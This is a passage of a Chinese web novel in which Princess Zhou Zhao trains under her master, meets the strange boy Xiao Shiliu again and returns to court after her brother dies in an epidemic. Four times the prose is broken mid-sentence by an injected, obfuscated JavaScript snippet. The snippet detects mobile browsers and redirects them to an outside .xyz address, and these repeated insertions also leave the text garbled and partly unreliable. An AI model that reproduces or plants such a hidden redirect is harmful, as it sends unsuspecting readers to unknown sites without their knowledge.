她揉了揉脖颈,不禁嘶了一声,忍痛将衣领拉高些,免得被看见掐痕又要惹出是非。 周昭料定这幼童不是一般人,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465395|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲叫人来藏书阁搜查,又念其年幼,不忍过多追究,只好作罢。 等晚些时候,流筝服侍周昭安寝时,看见她雪白的颈子上一圈淤青,惊叫道:“呀!殿下!这是——” 周昭忙捂住她的嘴:“嘘!姐姐别喊!” 流筝快要急哭了,心疼道:“殿下这是怎么伤的?” 周昭想了想,支支吾吾道:“我今日遇见一个不知打哪儿来的小孩子......” “殿下跟他打架了?” 周昭想了想,摇摇头:“也不算吧。” 流筝急道:“什么人如此大胆!敢如此对殿下!不行,我要去找方丈,找国师!” 她说着就要走,周昭连忙拦住她,叫道:“哎哎姐姐别去!我又没什么事儿,何必打扰师父休息。再说,要是真去找师父,今晚定会闹得沸沸扬扬,姐姐,好姐姐!你别去嘛!我都告诉你,好不好?” 周昭软磨硬泡,撒娇打滚,好容易将流筝劝住。 她将藏书阁之事道出,不过只说对方不识得她是谁,因为一只野猫才和她起了争执。 “这野小子也忒大胆!殿下你也真是的,想养猫还不简单,竟为了只野猫跟人打架。”流筝一边给她上药一边流眼泪,“要是让娘娘看见,还不得心疼死!” “所以姐姐你千万不能告诉母后!”周昭一偏头,疼得龇牙咧嘴,扯着流筝的袖子道,“求求你,好姐姐。” 流筝无奈道:“好~都听殿下的,不过殿下得答应我一件事儿。” “姐姐你说。” 流筝道:“若日后再碰见生人,一定要喊人来,千万不可伤着自己,知道吗?这里虽戒备森严,但每日香客鱼龙混杂,混进来刺客就麻烦了。” 周昭道:“姐姐放心,我知道了。不过还有件事儿需要姐姐帮个忙。” “嗯?” “我今日瞧他面生,姐姐明日帮我悄悄打听打听,近日寺中可有俗家弟子,或修道之人,既能进藏书阁,想必对这里很熟悉。” 流筝停下上药的手,抬起头道:“殿下放心,这个应当不难查。殿下再跟我说说,那孩子长什么样子?” “嗯......”周昭回忆道,“他比我小些,长什么样子......这样吧,我画下来可好?” 周昭说着就要起身作画,流筝忙将她按下,不容拒绝道:“殿下别乱动!明日再画!” 周昭虽让流筝去查,但并没有抱多大希望。 果然,流筝说寺中没人见过周昭所描绘之人。 跟他一般大的倒是有不少,但除了在此念书的皇家子弟,就是寺中收养的一些无处可去的孤儿,相貌上是完全不像的。 此事没有结果,那幼童也没再出现,故过了几天周昭便将这件事儿忘了。 那日江梅棠教周昭剑术之时,她看得入神,突然想起藏书阁里少年身法诡异,不由问道:“师父,为何不教我修道?” 江梅棠身形微顿,收了剑向她走来,道:“殿下可知,此话犯禁。” 25. 十六叔 传说数千年前,东华仙君悟道得长生,人们才洞悉修道飞升之法。但到如今,修道者仍是少数。只因周朝士农工商之外,属术士道人地位最低,身份最末。 周朝自开国以来,便只供奉历代皇帝,成祖时期甚至大兴毁道拆庙之风。道观拜天不拜神,庙宇奉皇不奉仙,乃周朝不成文的规矩。 拿灵念寺来说,寺中拜的乃是历朝天子尊像,主殿则是开国皇帝周武斩杀妖兽神像。 周朝信奉人皇身上的毕方神血,由此可见一斑。 不过当今天子宽厚,任人唯贤,江梅棠算是个例外。但周昭身为皇女,这样的话确实犯禁。 周昭自知失言,却还是忍不住道:“师父,徒儿不明白,明明术法比剑术更厉害,为何不能学?” 江梅棠看向她,反问道:“哦?明鸢剑术已经练成,不愿再学了?” 他猝不及防使出一招,周昭仓皇拿剑挡之,但只此一招,兵器相接便震得她虎口发麻,长剑险些脱手。 周昭握紧拳,俯首拜道:“徒儿知错。” 江梅棠收了剑,道:“错在何处?” 周昭道:“有而不知足,是为贪。” 江梅棠沉默片刻,淡淡道:“既然想学术法,等你能用剑打败我,为师便教你,如何?” 周昭没想到他竟然松口,眼前一亮,兴奋道:“真的?师父不许骗我!” 江梅棠道:“师父何曾骗你。” 周昭丢下剑小跑过去,得寸进尺道:“师父,徒儿还有一事相求。” “殿下请讲。” “师父讲话永远这么生分......”周昭小声嘟囔道。 “殿下说什么?” “没什么。”周昭连忙摇头,举起一根手指小心翼翼道,“师父能不能......多教一个人。” “嗯?” 周昭解释道:“师父你知道的,长淮跟我要好,他虽然不爱念书,但习武很有天赋,你教给我的剑法他常常看一遍就会了。他也想跟着师父练剑,徒儿想帮他求个情,师父能不能答应?” 江梅棠从来只教周昭一人习武,这是他的规矩,其余学子都是跟着寺中武馆师傅们练武。 “谢景啊……”江梅棠沉吟道,“这么说你经常把我教你的,再教给他?如此确实麻烦些。” 周昭听到这里本以为没希望,谁知江梅棠又道:“殿下教他,浪费时间。” 周昭不知所以地啊了一声,江梅棠道:“我来盛都,就是为了将殿下培养成像周武那样的千古明君,若是殿下整日为这些琐事操心......” “师父!”周昭头一次听江梅棠说这些,一时大惊,叫道,“徒儿......” 江梅棠反问道:“殿下不想?” 周昭觉得这个问题很难回答。 她是年纪最小的公主,还有三位哥哥,虽说周朝并无立嫡立长或是只可男子即位的规矩,但谁来继承大统的话题于她而言确实早了些。 江梅棠抚了抚她头顶的发丝,温声道:“殿下放心。” 没等周昭反应过来这句话的深意,便听谢景的声音自远而近传来—— “老师偏心!” 谢景本就一直躲在暗处,他心里半点底也没有,左等右等也不见周昭喊他,看到这儿干脆自己跑了出去。 江梅棠皱了皱眉,谢景见他这般,人还没有跑到跟前,腿先软了半截,后面的话声音愈发小了:“我......我想跟着您习武。” 江梅棠道:“殿下,武馆教得不好吗?” “好是好,可......”谢景挠挠头,心道武馆师傅哪有江梅棠厉害。 谢景心一横,眼一闭,扑通一声便跪下了,理直气壮地喊道:“您能不能教我!” 不光周昭,似乎连江梅棠都吓了一跳。 他方才便下定主意顺便多教一人,于是顺理成章将谢景扶起来,点点头,算是同意。 谢景激动得面色微红:“那我也能叫您师父啦!” 江梅棠抚了抚额,似乎觉得吵闹,但还是应道:“谢景殿下自便。” 自那以后,周昭愈发刻苦用功,常卯时便起,和谢景一同去竹林练剑。 谢景力大勇猛,江梅棠便建议他弃剑用刀。 春去秋来,寒暑交错。 竹影漏下些许青色天光,两道身影穿梭其中,只听得百鸟啾啾,刀剑争鸣。 少年刀法凌厉,身如猛虎腾空跃起。这刀来势汹汹,与之比试的少女看似难以招架,实则避其锋芒,以剑虚晃一枪。转而绕后,在那势如破竹的大刀上以一个刁钻的角度轻轻一拍,激起破空声阵阵回响。 宝刀落地,胜负已分。 “唉!我又输了!”谢景垂头丧气道。 三年时间,谢景比从前瘦了许多,身高腿长,常年练武之躯结实健硕,说话时双眼微微下垂,汗珠自麦色的皮肤滚落而下,被他一把抹去,露出一张率真英气的俊脸来。 “胜负兵家常事,再说我也输给过你呀。” 少女一袭青衣,未施粉黛,更显眉目清绝。墨发高束,透出几分摄人心魄的英气来。 听了这话,谢景瞪大眼睛道:“我就赢过你三回!丢死人了!” “有一回还是殿下存心让你,确实丢人。” 一个陌生的声音自半空传来,谢景后脑一痛,回头问道:“谁?谁敢打本殿下!” “是片竹叶?”周昭将那“暗器”捡起来说道。 竹林间传来傲慢的轻笑声,那声音玩世不恭道:“小殿下,好久不见了。” 周昭顺着声音的方向望去,只见竹梢间坐着个陌生少年。 少年极为散漫地侧身坐着,一条长腿垂下来,另一条屈膝踏在竹杆上,手里把玩着几片翠色的竹叶。那竹子被他压着,竟也不倒,真是奇了。 谢景也看见了,叫道:“你是谁?为何害本殿下!” 对方一跃而下,身高腿长,头发却束得乱糟糟的。来人五官不凡,眸色浅淡似碧,肤色白皙无血色。 是他? 周昭恍然间认出像是那日藏书阁遇见之人,但彼时不过是个幼童,今日所见竟是少年模样。 她乍一见对方,除了年纪对不上没能认出来之外,还因为从前那名幼童简直可以称得上“恶童小鬼”,一言不合便要掐死她。 如今翩翩走来的少年,不知是转了心性而是学会了喜怒不形于色。总之,看上去跟小时候的样子大相径庭。 少年神情散漫不羁,踏着遍地竹叶行来,对谢景的话置若罔闻,从怀中掏出一张纸,抖了抖,然后展开:“这是第一次有人为我画像,画我收下了。” 谢景见那纸上画的是个半大的孩子,愈发摸不着头脑,拽了拽周昭的胳膊,问道:“阿昭,你认识?” 周昭神色间警惕居多,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477316|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇也有。 那画像是她当年画的,后来交给流筝,怎么如今到了对方手上…… 周昭实在不知该怎么跟谢景解释,便小声搪塞道:“见过一面,日后跟你讲。” 少年道:“我听见你们练剑,觉得好玩,便上来看看。” “上来?”谢景道。 少年不假思索道:“竹林地势高,自然是上来看看。” 谢景见少年虽面容不俗,但穿着朴素,方才又对他言语嘲讽,心中不爽利,于是有些傲慢道:“这里可不是寻常野小子能来的地方,你是何人?怎么进来的?” 少年扬着下巴道:“走进来的。我爹娘死的早,有位僧人收留我住在寺里,不奇怪吧?” 周昭一直默默听着,总觉得他在编谎话,还没来得及反驳,直肠子谢景便信以为真,拍手道:“原来你是寺里收养的孤儿吗?那就不奇怪了,我从前也常见到像你这般大的,可……” 谢景抬头看了看方才少年下来的竹子,心道见过爬树的,没见过爬竹子的。 少年没有答话,看向周昭,问道:“有话要说?” 周昭本不信他这番说辞,但对方今日态度极好,并无恶意,她思来想去,问道:“你一直在竹林看我们练武吗?” 谢景忽地想起来对方说的第一句话,一时面子挂不住,提刀上前,怒道:“皇子练武,也是你看得的?” “长淮,”周昭按住他的手,“皇子如何,平民又如何,他看便看了,我不过随口一问罢了。” “可他......” “好啦,别生气。”周昭心知若不安抚好谢景,以这家伙的脾气,高低要打上一架。 她看向少年,只好胡乱道:“他是……一位朋友。” 一位险些要她性命的“朋友”。 果然,谢景听见这话气消了些,挠挠头道:“早说嘛,既然是你朋友,我便大人不计小人过。” 他收起刀,抬了抬下巴,问道:“你从哪交来如此古怪的朋友,叫什么名字?” 少年眼底浮起一层不怀好意的神色,似乎在等着周昭要怎么把慌圆下去。 “这……”周昭支支吾吾。 “谢景是吧,我是你十六叔。”少年语出惊人。 “十六……你!你敢占我便宜!”谢景怒气冲冲,骂道,“好你个野小子!” 他伸手便去抓,少年在他手底下宛如一尾滑溜溜的鱼,谢景怒极便提刀要砍,周昭忙制止道:“停!别打了!” 谢景累得大喘气,少年双手抱胸,无辜道:“我没打,我手都没抬起来。” “别说了。”周昭头痛道。 谢景提着刀,转向周昭:“阿昭,你骗我的吧!你从哪交到的这种朋友?” 少年道:“不敢当,我这种野小子,哪儿配跟两位金枝玉叶的殿下交朋友。” 他说话句句带刺,着实让人心烦。周昭虽烦于跟他翻来覆去地咬文嚼字,却是个不轻易撕破脸的性子,好言道:“上回见面匆忙,未请教名讳……敢问从何处来,到何处去?” 少年一如既往道:“从下面来,到上面去。” “装怪!”谢景嗤之以鼻。 “你看,我说了,你们又不信。” 周昭点点头,道:“不过,长淮可没有十六叔。” 少年很是认真地无礼道:“论年岁,你们都叫我一声十六叔也不为过。” 26. 惊变 谢景只当他白日发癔症,一身破破烂烂竟然还想攀亲附贵,穷疯了!他翻了个白眼:“你别说自己的名字就叫什么十六叔,好笑!” “不可以吗?为什么一定要有个名字?” 谢景跳起来道:“喂,你这人真奇怪!没名字怎么知道你是你我是我,不光得有名字,还得有小字,譬如我的字是长淮,阿昭是明鸢。不过像你这种乡下人,没有字也正常,但总不可能没有名字吧!” 周昭不动声色地打量着少年,暗道:“看他竟不像说谎,没有名字,莫非真是岭夏的药童?” 正思虑间,少年道:“萧......十六。我的……名字。” “什么奇奇怪怪的名字……”谢景嘟囔着。 周昭拽了拽谢景的衣角示意他莫再说,微笑道:“好吧,十六,可以这么叫你吗?” 萧十六脸上闪过一丝古怪,有些本能的厌恶,又像是浑身刺挠不大自在,说道:“随你们的便。” 他吹了个口哨,一只白猫突然从竹林后跳出来蹿到他脚下。萧十六抬了抬脚尖给它玩儿,说道:“我整日无所事事,便养了只小畜生打发时间,小殿下看看,还认得出来吗?” 周昭听他这样说,疑惑地蹲下细看,恍然间认出这是藏书阁那只野猫,不由自主道:“是你啊。” 萧十六俯身将那白猫掐着后颈皮肉拎起来,道:“你瞧,小殿下还记着你。” 谢景听他们说话好似听谜语,愈发摸不着头脑,疑惑道:“阿昭,没听你说你喜欢猫的啊。再说,这猫也太丑了吧!” 确实,那猫瘦骨嶙峋,毛色亦不纯,浑身脏兮兮的,和周昭去年看到时一般无二,怎么看也不像有主的。 “丑吗?”萧十六道,“养只畜生罢了,管他美丑做什么。” 周昭心道,这少年来路不明,行动举止着实古怪。几年前要掐死这野猫,如今又养着它,却不像真心喜欢,而是当个没生命的物件罢了。 那猫仍被他提在半空中,两条后腿无力地蹬着空气。周昭不忍道:“能不能放它下来?” 萧十六道:“好吧。” 他说着便松开手,周昭忙一把接住,白猫刚一挨到她便往怀里钻,谢景跳起来叫道:“阿昭!这猫脏死了你还抱!” 确实不干净。 周昭轻柔地摸了摸怀里一团软乎乎的小东西,问道:“它还没有名字吗?” 萧十六双手抱胸:“有啊,我都叫它小畜生。” 周昭蹙眉道:“这名字不好。” 萧十六道:“所以找殿下给小畜生起个名字。” “我看它又瘦又小,就叫……小柔?小白?”谢景灵机一动,“粥粥!这个好!” 周昭无奈地冲他摇摇头,说道:“我也想到一个!” 萧十六道:“小殿下想到什么?” 周昭道:“般般。” “般般?”谢景挠挠头道,“我瞧着它也不美啊……” 这二字常来形容美人,又有神兽麒麟之意,确实是个好名字。萧十六点点头:“小畜生,你有名字了。” 他伸出手,那白猫又往周昭怀里缩了缩,萧十六轻笑道:“它喜欢你,殿下。” 周昭心道,不是喜欢我,是怕你才对。 她摸着白猫突起的骨头,问道:“它都吃些什么?我瞧着太瘦了些。” 萧十六道:“爱吃鱼,但是笨,非得我扔到面前才吃。” “小家伙很挑食嘛。” 周昭将它放下,直觉眼前的少年不仅仅是为了给猫起名而来。 果然,对方将猫不轻不重地踢了一脚,说道:“殿下该去准备回宫了。” 谢景听他这么说,不由问道:“这话打哪儿说起?今儿不是初一也不是十五,回宫做什么?” 萧十六避而不答,只道:“小殿下,还记得当日我问你的问题吗?” “……”彼时幼童狠厉的神情在脑海里一晃而过,周昭点点头,“自然记得。” 萧十六嗯了一声,老成道:“那好,我等着看殿下如何破局。” 他虽然语气尚算温和,但满眼冷漠,让周昭想起多年前那张近在咫尺,想将猫和她一把掐死的脸—— 和当年一般无二的残忍。 “来日方长,下次再见。”对方说完转身便走,白猫紧随其后,很快消失在竹林深处。 谢景迟钝,此时才咂摸出几分不对,问道:“阿昭,什么破局?破什么局?” 当年周昭年幼,长大后回忆起自己曾说过的话,虽初心不改,但未免年少轻狂。因此这些年常记着藏书阁质问,警醒自己不要被身份所累,以致自视甚高。 今日幼童再现,周昭心头总有些不好的预感,摇摇头道:“长淮,总之你记住,那个人很危险,不是你我能敌的,离他远些最好。” 谢景咂摸道:“这人确实古怪,但左右不过一个毛孩子,没什么好怕的。” 周昭道:“我方才问他猫吃什么,他说吃鱼,又说自己是山下来的。山脚下有条溪流鱼虾充盈,可你看那猫,浑身上下没几两肉。” 谢景道:“你方才是为了试探他?不过我看他对那猫根本不上心,懒得去抓鱼给猫吃也很正常吧。” “你说得不错。”周昭道,“还有一种可能,就是他根本不住在山下,至少出于什么原因,不常来此,不然般般也不会连鱼也不会抓。” “聪明啊,我怎么没——” “殿下!殿下你在哪儿?” 周昭探头回应道:“流筝姐姐!我们在这儿!” 流筝神色匆匆,一看便是一路跑过来的,额头碎发被汗浸湿个透。她先是慌里慌张冲谢景行了个礼,然后抓住周昭的手,道:“殿下,快随我去见国师!” 周昭疑惑道:“出什么事儿了?这么着急。” 流筝看了一眼谢景,小声道:“陛下来了。” “父皇来了!”周昭先是一喜,再是一惊,问道,“到底出什么事儿了?” 宣庆帝久居深宫,除了重大祭祀从不会来苍界山。流筝见瞒不住,跺了跺脚,哭丧道:“晋王殿下......殁了!” 苍界山主殿内帝王仪仗威严,身穿龙袍的宣庆帝扶额坐在主位,国师江梅棠端坐于下方左侧,山中无人敢高声语。 周昭失魂落魄跑进殿,脚步顿了顿,落下两行泪,颤声叫道:“父皇!” 皇帝睁开眼睛,略显疲惫地冲她招招手:“昭儿来了......” 周昭半跪着扑进他怀里,明明前些日子刚见过,周昭却觉得她那永远无所不能的父皇苍老了许多,鬓边竟生出几根白发。 她心里一惊,竟说不出话来。 皇帝在她后背轻轻拍了拍:“衡儿昨夜殁了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487399|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母后伤心,随朕回宫住段日子。” 周昭鼻头一酸,点点头,硬是把眼泪又逼回去。 皇帝看向门外的谢景,谢景忙进屋跪下,皇帝摆摆手示意无需行礼,开口道:“长淮,你和昭儿关系最好,此番一同回宫去罢,也好帮朕照看些。” 谢景应道:“谢景记下了。” “二哥他——到底......” “殿下。”江梅棠神色淡淡,“二皇子殿下是死于今年的时疫。” “不是说二哥染了风寒,怎会是时疫?再说就算是时疫,太医院不多的是疫病方子?” 上回宫宴晋王缺席,派人传话说染了风寒在府中养病。周昭那次本想去探望,却被皇后拦下,说怕过了病气。谁能想到,短短数日等来的竟是天人永隔。 周昭并非不知道时疫一事。 时疫往往始于大雪,盛于立春,史上并不少见。 如今正是春日,周昭月前见来寺中祈福的人越来越多,便问起缘由。江梅棠本不愿告诉她,后来追问之下才说今年瘟疫又起,祈福消灾的人才多了些,但并不严重。 那时人人都告诉她无需担心,但眼下看来并非如此。 江梅棠道:“此次瘟疫与以往不同,起初我们也觉得跟从前没什么两样,太医院开的方子确实将其压下去些,但奇怪的是这疫病看似在好转,却总是不见好。到今日,还没有一例全好了的。” 周昭惊道:“师父的意思,我们毫无办法?” 皇帝看了眼江梅棠,道:“昭儿,朕今日除了来寺中祈福,接你回去,也是要和国师商议对策。” “臣方才说的,陛下可有决断了?”江梅棠似乎永远都是这副不冷不热的模样,哪怕是在皇帝面前,亦没有为人臣子的惶恐之感。好在宣庆帝爱才,对他这份孤高冷淡反而更为看重,遇到大事常先问国师想法再行决断。 宣庆帝揉了揉眉心:“国师所言,朕再想想。” 师父跟父皇在打什么哑谜...... 不等周昭多问,皇帝站起身,命江梅棠同自己一道去前殿祈福。此次出行仓促,等皇帝祈福完毕,仪仗便匆匆起驾回宫。 山路难走,林间寂静无声。等他们一行人回到皇宫已是暮色沉沉,城墙高耸威仪,两排白灯笼犹为刺眼。 周昭先是去见了皇后,皇后痛失爱子伤心过度,竟一夜之间也像生了场大病,形容枯槁,面色憔悴。 母女二人抱头痛哭一场,皆心碎欲绝。皇后精神不济,周昭说了些宽慰的话侍奉其睡下,从凤仪殿出来时只见明月高悬,云层穿行,一时竟有些眩晕之感。 谢景早早地便在殿外等她,见周昭脸色发白毫无颜色,冲上去扶住她道:“阿昭,你可好些?可要吃些东西?” 周昭摇摇头。 谢景急道:“那怎么行!你一天没吃东西,要是眼下再病了,先不说陛下身边没了治疫病的帮手,你让皇后娘娘怎么办!” “母后......”周昭恍然回过神,声音像灌了风沙似的。 谢景又道:“我叫你那婢女吩咐厨房做了些你平素爱吃的,在你殿里温着,我送你回去吃些。”他也不管周昭听进去没,便拖着人一路往回走,只想着别饿出病来才好。 刚走没几步,只见草丛里隐隐绰绰,依稀有人似的。 谢景低喝道:“谁在那儿!” 27. 夜话 “……昭、昭姐姐,”一个细声细气的声音传来,草丛后露出一双大眼睛,“是我……” 周昭松了口气,无奈道:“折杞?你躲在那儿做什么?来,快到这儿来。” 一个看上去十二三岁的男孩儿慢吞吞地走出来,他个子比同龄人要小,身形也有些瘦弱,不过那双眼睛又大又圆,像两颗黑葡萄。 谢景皱眉道:“你鬼鬼祟祟干什么呢!” 那孩子哆嗦一下,不敢往前走了。 折杞虽然是岭夏王子,但跟谢景的地位可谓天差地别。谢景是黎国将来的国主,不仅能在苍界山念书,还和周昭拜的是同一位师父。 折杞就不同了。 岭夏远在偏僻的南疆,国土很小不说,自古以来都被周朝人称作蛮夷之地。几年前岭夏王室纷争,岭夏王被其弟所杀,朝堂易主,折杞被赶出岭夏。 当时驻守南疆的大将兰令仪无意中捡到折杞,岭夏王顺手推舟,将折杞送来周朝为质。 那一年,折杞还只有三岁。 折杞在宫中常受人欺负,周昭遇见过几回,虽然将那些捧高踩低的悉数责罚了,但她毕竟常年不在宫中,便央求自己的母亲多照拂些。 眼下周昭看见折杞站在冷风中可怜,勉强压下心中疲累,柔声劝慰道:“长淮,你别吓他。折杞,你谢景哥哥心情不好,别理他。对了,你怎么不睡觉,跑这里来做什么?” 她说着便走过去牵起折杞的手,一摸,冰得像铁块似的,再蹲下摸他身上,穿得也太单薄些。 “我听说皇娘娘病了,想来看看。”折杞低着头,把另一只背在身后的手拿出来,那只右手仔细看跟常人不同,缺了一根小指。 “这是我采的花儿……” 周昭一看,果然是几朵刚摘的鲜花,只是品相不大好,不过估计也是折杞能采到最好的了。她心头一软,问道:“既采了花,怎么不进去送呢?” “我……”折杞抬头小心翼翼地看了眼谢景。 周昭明白了,他这是害怕谢景。 其实周昭也搞不懂,为什么谢景见了折杞就是这副凶巴巴的模样,谢景又长得人高马大,折杞定是看见他,才躲在草丛里不敢出来。 谢景瞪眼道:“你这小鬼头!看我做什么?” “好了长淮。”周昭轻柔地摸了摸他的头,“母后睡下了,你把花给我,我让人送进去,好不好?” “嗯。”折杞重重地点点头。 “来人。”周昭将花交给门外守夜的婢女,吩咐道,“等母妃醒了再送,就说是折杞殿下拿来的,记下了?” “奴婢记下了。” “昭姐姐......” “怎么啦?” “他们说衡哥哥去了别的地方,是去哪儿了呢?” “……” “你会不会说话!”谢景怒道,“这话是——” “算了,”周昭按住他的手,心里空荡荡地像被针尖刺了一下。她心力交瘁,疲倦陡然间压在肩上,容色却还是一贯温柔,“折杞,我叫人送你回去,下次不要再晚上一个人跑出来了,知道了吗?” 折杞似乎又被吓了一跳,连忙点点头。 周昭随便指了个宫女送他回去,不忘说道:“夜里冷,回去给小殿下生些炭火。” 等折杞走远了,谢景哼了一声:“我看那小子就是故意的,巴巴地在这等,不就是知道你要出来?再说皇后娘娘又没亏待他,侍奉的宫人也不少,偏生半夜里一个人躲在那儿!” 周昭没心思听这些,也懒得反驳,只随口问了句:“你干嘛总不喜欢他?” 谢景皱眉道:“没什么。” 他不说,周昭便不问了。两人在宫道上不紧不慢地走着,过了阵子,谢景才接着说道:“堂堂男子汉,天天哭哭啼啼,不是往你就是往皇后娘娘身上凑,我就是看不惯他小小年纪没骨头的样子。” 这跟周昭猜得七七八八,谢景为人刚直,心气高,平生最佩服驰骋沙场的大将军,最看不起唯唯诺诺之小人。不过周昭倒没觉得折杞巴结她,只觉着是个需要人多照顾些的小弟弟。 “折杞年纪小,你又不是不知他常挨欺负,哪能像你这般天不怕地不怕,性格虽软弱些,好在良善。”周昭温声说道,“不指望你帮他,以后别凶他就是了。” 谢景没吭声,周昭知道他这样就算是默许了。 等进了昭阳殿,谢景的肚子突然咕咕叫了几声。其实他今日也没怎么吃东西,不过他看周昭那样难过,竟把这事儿给忘了,眼下闻到饭香才觉得饿。 周昭想笑又笑不出来,咧出一个比哭还难看的表情,说道:“陪我吃吧。” 二人都没什么心思吃饭,胡乱用了些。席间谢景劝了周昭几句,等他走时夜已深,皇城安静地一丝声音也没有。 三日后,晋王周衡出殡。 同一天,时疫再次爆发。 宣庆皇帝终于颁发圣旨,将所有染病之人搬迁至皇家围猎场暂住,派士兵和医师日夜驻扎。那些草草搭好的屋棚里,每晚都能听到因痛苦而嚎哭之声。 那日出殡下起了淅淅沥沥的小雨,皇陵路滑,周昭心不在焉险些摔了一跤。等她晚上回宫时,耳朵里一面是途径围猎场那些病人的呜咽,一面是出殡队伍里响彻天地的哀乐。 周昭被这两样声音吵得睡不着,便披了件外衣悄悄出了昭阳殿。 她漫无目的地在皇宫里走着,不知不觉就走到了御花园,从这里过去再走百米就是崇学堂。 周昭记得小时候她的哥哥们都在那儿念书,她年幼不能去,又爱黏人,管事嬷嬷便抱着她来御花园,将她放在小秋千上玩儿。 那架小秋千是皇后专门命人搭的,后来她去了苍界山,很少再来过这里。 周昭突然很想去看看,于是提着裙摆从石桥过去,却见秋千上坐着一人,虽是背影,却无比熟悉。 周昭试探着叫了句:“澈哥哥?是你吗?” 秋千上坐着的人回过头,露出一张清绝昳丽的脸,乍看容貌和周昭很像,细看轮廓和嘴巴却是不像的。 眼前人是周昭的五哥,周澈。 周澈只比周昭大两岁,在他之前已有两位皇子皆早夭,五皇子周澈身体同样不大好。皇后心疼,因此如今还养在宫里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504134|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周澈见了周昭,眼神柔和下来,拍了拍秋千道:“小昭,过来坐。” 周昭鼻音很重地嗯了一声,那秋千其实不大,实在挤不下他们两人。周澈便扶着她坐下,自己站在一旁。 周昭轻声道:“澈哥哥,我睡不着。” “我也是,所以来这里逛逛。”周澈道,“我记得你从前总爱玩这秋千,二哥便逗你说,等你出嫁了,也把秋千装进马车带走。” “是啊,衡哥哥总爱捏着我的脸开玩笑。”周昭想起从前,只觉物是人非,心头滋味难言。 “二哥也爱玩儿,你不知我们那时念书,他气走了好几个夫子。” 周澈说话慢吞吞的,声音温和动听,他就这么有一句没一句地和周昭说着过往,像湖面吹来凉风习习,让人十分愿意听他讲下去。 周昭吸了吸鼻子,周澈冷不丁地说道:“小丫头长这么大了还流鼻涕,要不要皇兄借衣服给你擦擦?” 周昭一时破涕为笑,心中好受些,果真作势要拿周澈的衣服揩鼻子。二人闹作一团,周昭叹了口气,问道:“澈哥哥,皇兄是什么时候病重的,我今日不敢问母后。” 周澈道:“听营里的人说,二哥在边关便受了风寒,此番回来他自己也没当回事儿,后来愈发严重,太医院才说是染了瘟疫,无力回天了。” 周昭皱眉道:“莫非这瘟疫......” “嘘……”周澈轻捂住她的嘴,“不可胡言。” 周昭点点头,周澈道:“父皇近日正为此事烦忧,二哥又突然没了,你说话小心些,方才那样的话切记不能再说了。” “我知道了。”周昭道,“澈哥哥,天色不早了,你身子不好,我送你回去休息吧。” 周澈宠溺地摸了摸她的头,说道:“小丫头,皇兄还需要你保护吗?倒是你深更半夜出门连婢女也不带,还是我送你回昭阳殿吧。” 皇子出殡,春雨连绵,宫里乱作一团,到处都散发着潮湿腥味儿。 疫病难消,人心惶惶,天子每日为此事焦头烂额,常见江梅棠出入议政厅,却一直不见有新旨传出。 周昭总没机会和江梅棠说上话,只好去国师府上找他。她去时对方正闭目养神,听到动静微微睁开眼睛,那冷泉似的双眸没有半点涟漪,像是早料到她要来似的,轻声道:“明鸢有话要问?” 周昭问道:“那日师父说时疫已有良策,是什么?” 江梅棠反问道:“明鸢,你可知时疫因何而来?” “旱灾常有老鼠出洞寻找食物,易诱发鼠疫;洪灾常有尸首顺流而下,水源不洁,易诱发疟疾;战事频发,沿路宫观,则大疫起。再有伤寒、瘴气、天花等,不一而足。” 江梅棠点点头,以示肯定,又问道:“那你觉得这场疫病,从何而来?” 周昭心中有些计较,不好直言,便摇摇头说不知。 江梅棠道:“其实你心里已有些模糊的答案,找我只是为了求证,是吗?” 周昭心道什么也瞒不过师父的眼睛,便道:“师父也说了,徒儿心中只是些模糊的答案,真正的答案是什么,还请师父明言。” 28. 棋局 江梅棠答非所问:“明鸢,你可知三苗国?” “知道。圣祖皇帝当年一统天下,将军中叛贼赶去北疆,后来便成了历代流放之地。直到泰和年间,大周四分五裂,诸侯混战长达百年之久,北疆陆陆续续出现一些自立门户的小国,就是三苗的前身。” 